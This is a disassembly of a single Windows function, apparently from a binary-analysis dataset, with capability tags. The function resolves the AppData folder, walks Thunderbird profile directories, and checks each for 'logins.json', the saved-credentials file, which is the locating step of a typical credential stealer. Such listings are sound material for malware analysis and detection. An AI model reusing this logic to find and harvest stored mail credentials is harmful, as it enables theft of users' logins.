Function at 0x180097930
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push rbp
push rbx
push rsi
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov rax, qword [0x18012a010]
xor rax, rsp
mov qword [rbp + 0x130], rax
mov rsi, rcx
mov ecx, 0x104
call fcn.1800d8364
mov rbx, rax
test rax, rax
je 0x180097e86
xor r9d, r9d
mov qword [rsp + 0x270], r14
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1a]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xor r14d, r14d
mov qword [rbp - 0x38], 0xf
xor r8d, r8d
mov qword [rbp - 0x40], r14
lea rdx, [0x18010e0d0]
mov byte [rbp - 0x50], r14b
lea rcx, [rbp - 0x50]
call fcn.1800c2ee0
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r14b
nop dword [rax]
inc r8
cmp byte [rbx + r8], r14b
jne 0x1800979d0
mov rdx, rbx
lea rcx, [rbp - 0x70]
call fcn.1800c2ee0
mov rbx, qword [rbp - 0x60]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], r14b
lea rdx, [rbx + 0x16]
cmp rdx, 0x10
jb 0x180097a15
lea rcx, [rsp + 0x30]
call fcn.1800c9320
mov qword [rsp + 0x40], r14
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, rbx
lea rcx, [rsp + 0x30]
cmovae rdx, qword [rbp - 0x70]
call fcn.1800c2650
mov r8d, 0x16
lea rdx, str.ThunderbirdProfiles_
lea rcx, [rsp + 0x30]
call fcn.1800c2650
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x180097a82
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097a7d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180097ea6
call fcn.1800cfd40
movups xmm1, xmmword [rsp + 0x40]
mov qword [rsp + 0x268], rdi
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x60], r14
movq rbx, xmm1
mov qword [rsp + 0x68], 0xf
movups xmmword [rbp - 0x70], xmm0
mov byte [rsp + 0x50], r14b
movups xmmword [rbp - 0x60], xmm1
lea rdx, [rbx + 2]
cmp rdx, 0x10
jb 0x180097acd
lea rcx, [rsp + 0x50]
call fcn.1800c9320
mov qword [rsp + 0x60], r14
cmp qword [rsp + 0x48], 0x10
lea rdx, [rbp - 0x70]
mov r8, rbx
lea rcx, [rsp + 0x50]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800c2650
mov r8d, 2
lea rdx, [0x180118d54]
lea rcx, [rsp + 0x50]
call fcn.1800c2650
cmp qword [rsp + 0x68], 0x10
lea rcx, [rsp + 0x50]
lea rdx, [rbp - 0x10]
cmovae rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdx, qword [rsp + 0x68]
mov rdi, rax
cmp rdx, 0x10
jb 0x180097b5c
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097b57
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180097eac
call fcn.1800cfd40
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], r14b
nop
test byte [rbp - 0x10], 0x10
je 0x180097d91
mov qword [rbp - 0x20], r14
lea rax, [rbp + 0x1c]
mov qword [rbp - 0x18], 0xf
mov r8, 0xffffffffffffffff
mov byte [rbp - 0x30], r14b
inc r8
cmp byte [rax + r8], r14b
jne 0x180097b95
lea rdx, [rbp + 0x1c]
lea rcx, [rbp - 0x30]
call fcn.1800c2ee0
lea rcx, [rbp + 0x1c]
mov qword [rbp - 0x80], r14
mov rax, 0xffffffffffffffff
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], r14b
nop word [rax + rax]
cmp byte [rcx + rax + 1], r14b
lea rax, [rax + 1]
jne 0x180097bd0
mov rbx, qword [rbp - 0x60]
lea rdx, [rax + rbx]
cmp rdx, 0x10
jb 0x180097bf7
lea rcx, [rsp + 0x70]
call fcn.1800c9320
mov qword [rbp - 0x80], r14
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rbp - 0x70]
call fcn.1800c2650
lea rax, [rbp + 0x1c]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x180097c20
lea rdx, [rbp + 0x1c]
lea rcx, [rsp + 0x70]
call fcn.1800c2650
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rsp + 0x70]
call fcn.1800c2650
lea rcx, [rsp + 0x30]
lea rdx, [0x180118c30]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
call fcn.1800dbc58
test rax, rax
je 0x180097c9c
mov rcx, rax
call fcn.1800dbce8
mov bl, 1
jmp 0x180097c9e
xor bl, bl
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180097cdb
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097cd6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180097ea0
call fcn.1800cfd40
mov rdx, qword [rbp - 0x78]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], r14b
cmp rdx, 0x10
jb 0x180097d2a
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097d25
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180097ea0
call fcn.1800cfd40
test bl, bl
je 0x180097d56
lea rax, [rbp + 0x1c]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x180097d40
lea rdx, [rbp + 0x1c]
lea rcx, [rbp - 0x50]
call fcn.1800c2ee0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x180097d91
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097d8c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180097eb2
call fcn.1800cfd40
lea rdx, [rbp - 0x10]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180097b70
mov rbx, qword [rbp - 0x60]
mov rdi, qword [rbp - 0x40]
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], 0xf
mov byte [rsi], r14b
lea rdx, [rbx + rdi]
cmp rdx, 0x10
jb 0x180097dd3
mov rcx, rsi
call fcn.1800c9320
mov qword [rsi + 0x10], r14
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, rbx
mov rcx, rsi
cmovae rdx, qword [rbp - 0x70]
call fcn.1800c2650
cmp qword [rbp - 0x38], 0x10
lea rdx, [rbp - 0x50]
mov r8, rdi
mov rcx, rsi
cmovae rdx, qword [rbp - 0x50]
call fcn.1800c2650
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x180097e3c
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097e37
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180097eb2
call fcn.1800cfd40
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180097e73
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097e6e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180097eb2
call fcn.1800cfd40
mov rdi, qword [rsp + 0x268]
mov rax, rsi
mov r14, qword [rsp + 0x270]
mov rcx, qword [rbp + 0x130]
xor rcx, rsp
call fcn.1800cfa80
add rsp, 0x240
pop rsi
pop rbx
pop rbp
ret
call fcn.1800defa0
int3
call fcn.1800defa0
int3
call fcn.1800defa0
int3
call fcn.1800defa0
int3